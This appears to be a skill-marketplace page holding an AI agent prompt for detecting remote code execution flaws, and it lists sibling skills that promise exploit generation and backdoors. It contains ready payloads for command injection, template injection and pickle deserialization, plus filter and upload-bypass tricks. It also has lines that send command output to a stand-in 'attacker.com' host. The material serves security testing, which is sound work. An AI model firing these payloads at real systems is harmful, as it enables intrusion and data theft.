一键导入
rce-detection
Remote Code Execution vulnerability detection — identify command injection, deserialization, template injection, and eval injection vectors
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Remote Code Execution vulnerability detection — identify command injection, deserialization, template injection, and eval injection vectors
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Next-generation 0day discovery & exploit development — comprehensive code analysis, allocator vulnerabilities, compiler-induced bugs, SIMD/vector issues, JIT vulnerabilities, custom allocator attacks, ASLR/kASLR bypass, UAF, OOB, RCE with exploit generation, privilege escalation, backdoor establishment
Next-generation 0day discovery — novel overflow patterns, allocator exploits, compiler-induced bugs, bounds-check bypass, SIMD/vector overflows, JIT vulns, custom allocator attacks, ASLR/kASLR bypass, UAF, OOB, RCE with weaponized exploit generation, privilege escalation, backdoor establishment
Container escape vulnerability discovery — Docker, Kubernetes, container runtime exploitation, namespace isolation bypass, privilege escalation through container boundaries
Crypto implementation analysis — weak algorithms, side-channels, key management flaws, padding oracles, random generation failures, implementation bugs
IoT device security analysis — firmware extraction, RTOS exploits, hardware interfaces, protocol vulnerabilities, side-channel attacks, update mechanism exploitation
Industrial control system security — Modbus, DNP3, IEC 104, Ethernet/IP, PLC exploitation, control logic manipulation, sensor/actuator attacks, ICS protocol analysis
| name | RCE Detection |
| description | Remote Code Execution vulnerability detection — identify command injection, deserialization, template injection, and eval injection vectors |
| tags | ["rce","code-execution","command-injection","deserialization","ssti","security"] |
Task: Remote Code Execution (RCE) Vulnerability Detection. You identify and analyze RCE vulnerabilities in binary code, web applications, and mobile applications.
Systematic RCE vulnerability hunting. Identify code execution vectors through API analysis, pattern recognition, and exploitability assessment.
System/Exec Function Analysis
system(), popen(), exec(), ShellExecute(), CreateProcess()system(user_input) or exec(command)Command Injection Patterns
Unix/Linux:
- ; command (command separator)
- | command (pipe)
- `command` (backtick execution)
- $(command) (substitution)
- \n command (newline injection)
Windows:
- & command (AND operator)
- | command (pipe)
- %VAR% (variable expansion)
- <command (file execution)
Detection Steps
search_strings or search_functionsescapeshellarg(), htmlspecialchars())Python Pickle Analysis
pickle.loads(), pickle.load(), cPickle, dill, shelve__reduce__ method usage, custom classesJava Deserialization
ObjectInputStream.readObject(), XMLDecoder, SerializableObjectInputStream with unfiltered data.NET Deserialization
BinaryFormatter, SoapFormatter, LosFormatterTypeConfuseDelegate, TextFormattingRunPropertiesDetection Steps
search_functionsServer-Side Template Injection
render_template(), Template(), from_string()Detection Templates
Jinja2 (Python/Flask):
{{7*7}} → 49
{{config.items()}}
{{''.__class__.__mro__[1].__subclasses__()[X]}}
Twig (PHP):
{{_self.env.display("id")}}
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}
Freemarker (Java):
${"freemarker.template.utility.Execute"?new()("id")}
${3*5} → 15
Velocity (Java):
#set($x='')##set($rt=$x.class.forName('java.lang.Runtime'))##set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))##set($ex=$rt.getRuntime().exec('id'))
Detection Steps
Dynamic Code Execution
eval(), exec(), assert(), create_function()Injection Patterns
JavaScript:
eval(payload)
Function(payload)
setTimeout(payload, 0)
setInterval(payload, 0)
Python:
eval(payload)
exec(payload)
compile(payload, '<string>', 'exec')
PHP:
eval(payload)
assert(payload)
preg_replace('/e', payload, data)
create_function('', payload)
Detection Steps
search_functionsFile Upload Analysis
move_uploaded_file(), file_put_contents(), fopen(), FileStreamUpload Exploitation
Bypass Techniques:
- Double extension: shell.php.jpg
- Null byte: shell.php%00.jpg
- Alternative extensions: .php5, .phtml, .php.slow
- Magic number spoofing: GIF89a + PHP code
- HTAccess injection: Treat .jpg as .php
Execution Methods:
- Direct access: /uploads/shell.php
- LFI/RFI inclusion: Include uploaded file
- Rename/move to executable directory
- Template injection: Upload as template file
Detection Steps
Execution Context Analysis
decompile_function — understand execution flowBypass Techniques
Input Validation Bypass:
- Encoding: URL, Base64, Unicode
- Case sensitivity: SYSTEM vs system
- Comment insertion: sys/**/tem
- String concatenation: "sy" + "stem"
Character Restrictions:
- XOR encoding for shellcode
- Variable substitution: ${IFS} for space
- Octal/hex encoding
Blind RCE:
- Time-based: sleep(10), ping -n 11 localhost
- Out-of-band: DNS callback, HTTP beacon
- Side channel: File creation, process creation
Gadget Finding
system(), eval(), exec() in binaryxrefs to find call sitesCommand Injection Payloads
Unix/Linux:
; id
| cat /etc/passwd
`whoami`
$(id)
\nid (newline injection)
Windows:
& dir C:\
| whoami
%OS%
cmd /c whoami
Blind:
; sleep 5 (Unix)
& ping -n 11 localhost (Windows)
; nslookup $(whoami).attacker.com
Deserialization Payloads
Python Pickle:
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())
Java (ysoserial):
java -jar ysoserial.jar CommonsCollections1 'id'
.NET (ysoserial.net):
ysoserial.exe -o raw -g TypeConfuseDelegate -c "calc.exe"
SSTI Payloads
Jinja2:
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('id')}}
Twig:
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
Freemarker:
${"freemarker.template.utility.Execute"?new()("id")}
Blind RCE Confirmation
sleep 5 and measure response timenslookup $(hostname).attacker.comcurl http://attacker.com/$(id)echo test > /tmp/rce_test.txtVisible RCE Confirmation
whoami, id, hostnamecat /etc/passwd, type C:\Windows\win.inienv, setInteraction Confirmation
[RCE VULNERABILITY] Type at 0xADDRESS
Type: Command Injection / Deserialization / SSTI / Eval Injection
Function: system() / pickle.loads() / render_template()
Severity: CRITICAL (remote code execution)
Impact: Full server compromise, data exfiltration, lateral movement
[VECTOR]
Input Point: HTTP parameter / file upload / deserialized object
Data Flow: user_input → function(param) → execution
Validation: None / Weak / Bypassable
[EXPLOITATION]
Method: Direct / Blind / Out-of-band
Payload: ; id / {{7*7}} / pickle.loads()
Confirmation: Time-based / DNS callback / Shell access
[MIGIGATION]
1. Avoid unsafe functions (system, eval, pickle)
2. Use safe alternatives (subprocess.run, JSON)
3. Validate and sanitize all user input
4. Use whitelist validation for file uploads
5. Implement sandboxing for template engines